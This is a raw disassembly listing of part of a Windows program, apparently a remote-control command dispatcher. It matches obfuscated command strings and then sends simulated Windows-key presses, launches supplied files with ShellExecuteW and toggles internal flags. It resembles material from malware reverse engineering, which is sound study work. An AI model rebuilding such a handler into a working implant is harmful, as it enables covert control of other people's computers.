lea ecx, [ebp - 0xb4]
call fcn.00442cb0
mov esi, dword [ebp - 0x38]
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00413840
mov eax, dword [ebp - 0x70]
push dword [eax + 4]
lea eax, [ebp - 0x70]
push eax
mov ecx, eax
call fcn.0044e870
push 0x2c
push dword [ebp - 0x70]
call fcn.00544491
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x5202af
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5b89b8
call fcn.00429ac0
lea ecx, [ebp - 0x2c]
call fcn.004408a0
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x5202f6
test cx, cx
je 0x5202f2
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x5202f6
add eax, 4
add edi, 4
test cx, cx
jne 0x5202d0
xor edi, edi
jmp 0x5202fb
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520316
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x520383
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.00429670
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
mov ecx, esi
call fcn.004408a0
add esp, 0x18
mov ecx, edi
call fcn.0045afc0
lea ecx, [ebp - 0xe4]
call fcn.0042a310
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x521aa1
mov edx, dword [ebp - 0xb4]
inc ecx
jmp 0x51faca
mov edx, 0x5b4700
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x5203f5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5203c0
sub ecx, dword [ebp - 0x2c]
je 0x5203f5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5203f5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5203e0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5203fc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520430
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520426
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5204c4
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520470
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
mov esi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00521d40
test al, al
je 0x51f185
mov byte [esi + 0x9c], 1
jmp 0x51f185
mov edx, 0x5b4718
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x520515
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5204e0
sub ecx, dword [ebp - 0x2c]
je 0x520515
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520515
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520500
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52051c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520550
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520546
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b3b
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52075c
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520590
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
mov edi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, edi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.00521d40
test al, al
je 0x51f185
mov byte [ebp - 4], 0x4e
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521be5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.00429670
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 0x50
call fcn.004302b0
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00431490
lea ecx, [ebp - 0x2b0]
call fcn.00430230
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x60]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
lea ecx, [ebp - 0x2c]
call fcn.004408a0
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0041dc60
mov edx, dword [ebp - 0x2c]
add esp, 0x24
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5206cd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x50
call fcn.0042a310
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0051d470
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x52073b
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520731
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b3b
push ecx
push edx
call fcn.00544491
add esp, 8
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f185
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51f185
mov edx, 0x5b4760
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x5207ac
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520777
sub ecx, dword [ebp - 0x2c]
je 0x5207ac
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5207ac
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520797
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5207b3
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5207e7
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5207dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b3b
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520926
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520822
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b45
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b45
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00446b70
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00521c60
mov ecx, dword [eax]
test ecx, ecx
je 0x5208d6
mov eax, dword [ebp - 0x38]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042a390
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045afc0
jmp 0x5208d9
mov esi, dword [ebp - 0x34]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5208f3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52090b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x521aa1
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x51f19b
mov edx, 0x5b4910
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x520976
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520941
sub ecx, dword [ebp - 0x2c]
je 0x520976
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520976
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520961
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52097d
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp dword [ebp - 0x20], 0
je 0x520a8a
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5209c0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
lea ecx, [ebp - 0x40]
push 0x588c78
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5b
call fcn.0042ad20
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5c
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x9c]
call fcn.00446f90
add esp, 0xc
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x3c]
push dword [ebp - 0x20]
push eax
call fcn.00448a80
add esp, 8
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x3c]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
mov eax, dword [ebp - 0x88]
cmp eax, 0x10
jb 0x521aa1
inc eax
push eax
push dword [ebp - 0x9c]
call fcn.0042ae50
add esp, 8
jmp 0x521aa1
mov edx, 0x5b47d8
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x520ada
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520aa5
sub ecx, dword [ebp - 0x2c]
je 0x520ada
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520ada
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520ac5
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520ae1
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp dword [ebp - 0x20], 0
je 0x520c66
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00429e10
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x5d
push eax
call fcn.00521c60
lea ecx, [ebp - 0x34]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
call fcn.0041c560
push str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x5e
call fcn.00429d40
sub esp, 0x18
mov byte [ebp - 4], 0x5f
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.00429ac0
lea ecx, [ebp - 0x2c]
call fcn.004408a0
push esi
mov byte [ebp - 4], 0x60
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041dc60
add esp, 0x24
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x2c]
call fcn.00406230
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x520b82.5
movzx eax, byte [eax + 0x521c18]
jmp dword [eax*4 + 0x521c04]
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0x60]
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
mov eax, dword [esi + 0xc]
mov dword [eax + 0x110], 0
call fcn.00429d40
push 4
push ecx
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0x60]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00429ac0
mov ecx, esi
call fcn.004408a0
add esp, 0x18
mov ecx, edi
call fcn.0045afc0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x5f
call fcn.0042a310
jmp 0x520c25
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x103], 0
call fcn.00406320
jmp 0x520c25
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x114], 0
jmp 0x520c25
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x520c25
test edi, edi
je 0x520c4b
mov eax, dword [ebp - 0x38]
push dword [ebp - 0x48]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x34]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045afc0
lea ecx, [ebp - 0x130]
call fcn.0042a310
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x3c]
jmp 0x521a9c
mov edx, 0x5b48e0
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x520cb6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520c81
sub ecx, dword [ebp - 0x2c]
je 0x520cb6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520cb6
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520ca1
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x520cbd
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp dword [ebp - 0x20], 0
je 0x52122d
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x62
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520d00
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
lea ecx, [ebp - 0x60]
mov edx, 0x5b4a00
call fcn.00440770
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x520d3a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004508c0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp byte [ebp - 0x2d], 0
je 0x520e32
push 0xa8
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.00546340
add esp, 0xc
mov dword [ebp - 0x260], 1
mov eax, 0x5b
mov dword [ebp - 0x244], 1
mov word [ebp - 0x25c], ax
mov ecx, 0x10
mov word [ebp - 0x208], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x260]
mov word [ebp - 0x240], cx
push eax
push 6
mov dword [ebp - 0x228], 1
mov word [ebp - 0x224], dx
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x204], 2
mov dword [ebp - 0x1f0], 1
mov word [ebp - 0x1ec], cx
mov dword [ebp - 0x1e8], 2
mov dword [ebp - 0x1d4], 1
mov word [ebp - 0x1d0], dx
mov dword [ebp - 0x1cc], 2
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x521209
mov edx, 0x5b4a18
lea ecx, [ebp - 0x60]
call fcn.00440770
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x520e4a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004508c0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp byte [ebp - 0x2d], 0
je 0x520e95
push 0
push 0
push 0x4489c0
call fcn.0055063a
add esp, 0xc
jmp 0x521209
mov edx, 0x5b4a30
lea ecx, [ebp - 0x60]
call fcn.00440770
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x520ead
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004508c0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x60]
je 0x521023
mov edx, 0x5b49d0
call fcn.00440770
mov byte [ebp - 4], 0x63
cmp dword [eax + 0x14], 0x10
jb 0x520eff
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x38]
call fcn.00429e10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x65
call fcn.00429500
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x521201
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042ad20
push str.cF1gZ2xdbW5jbF1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x66
call fcn.0042ad20
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x67
call fcn.0042ad20
lea ecx, [ebp - 0x34]
call fcn.0041c560
push esi
push ecx
mov byte [ebp - 4], 0x69
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00440b00
add esp, 4
mov byte [ebp - 4], 0x6a
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041dc60
add esp, 0xc
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x2c]
call fcn.00406230
push 0x588c78
lea ecx, [ebp - 0x44]
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6b
call fcn.0042ad20
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00440b00
mov edi, eax
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042a390
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00440b00
add esp, 4
mov byte [ebp - 4], 0x6e
jmp 0x5211a9
mov edx, str.YV9qYQ
call fcn.00440770
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x521038
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.004508c0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp byte [ebp - 0x2d], 0
je 0x521209
mov edx, str.YV9qYQ
lea ecx, [ebp - 0x60]
call fcn.00440770
mov byte [ebp - 4], 0x6f
cmp dword [eax + 0x14], 0x10
jb 0x52108a
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x38]
call fcn.00429e10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x71
call fcn.00429500
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x521201
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042ad20
push str.YV9qYV1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x72
call fcn.0042ad20
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x73
call fcn.0042ad20
lea ecx, [ebp - 0x34]
call fcn.0041c560
push esi
push ecx
mov byte [ebp - 4], 0x75
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00440b00
add esp, 4
mov byte [ebp - 4], 0x76
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041dc60
add esp, 0xc
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x2c]
call fcn.00406230
push 0x588c78
lea ecx, [ebp - 0x44]
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x77
call fcn.0042ad20
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00440b00
mov edi, eax
mov byte [ebp - 4], 0x79
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042a390
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00440b00
add esp, 4
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x44]
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x34]
push ecx
mov ecx, eax
call fcn.004523c0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00406230
lea ecx, [ebp - 0x48]
call fcn.00406230
lea ecx, [ebp - 0x20]
call fcn.00406230
lea ecx, [ebp - 0x44]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x1c]
call fcn.00406230
lea ecx, [ebp - 0x3c]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
lea ecx, [ebp - 0x38]
call fcn.00406230
mov eax, dword [ebp - 0xb8]
cmp eax, 0x10
jb 0x521aa1
inc eax
push eax
push dword [ebp - 0xcc]
call fcn.0042ae50
add esp, 8
jmp 0x521aa1
mov edx, 0x5b4928
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x52127d
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521248
sub ecx, dword [ebp - 0x2c]
je 0x52127d
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52127d
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521268
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521284
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp dword [ebp - 0x20], 0
je 0x52138c
xorps xmm0, xmm0
mov dword [ebp - 0x150], 0
movups xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
mov ecx, edi
mov dword [ebp - 4], 0x7b
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5212c7
sub ecx, edx
lea eax, [ebp - 0x160]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
call fcn.0054956d
cmp dword [ebp - 0x14c], 0x10
lea esi, [ebp - 0x160]
mov edi, eax
lea eax, [ebp - 0x2c]
cmovae esi, dword [ebp - 0x160]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054ae9e
add esp, 0x14
mov edx, eax
cmp esi, dword [ebp - 0x2c]
je 0x521bef
cmp dword [edi], 0x22
je 0x521bf9
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x58]
cmp dword [eax + 0x18], edx
je 0x521341
test edx, edx
js 0x521345
mov dword [eax + 0x18], edx
jmp 0x521352
test edx, edx
jns 0x521368
cmp dword [eax + 0x18], 0
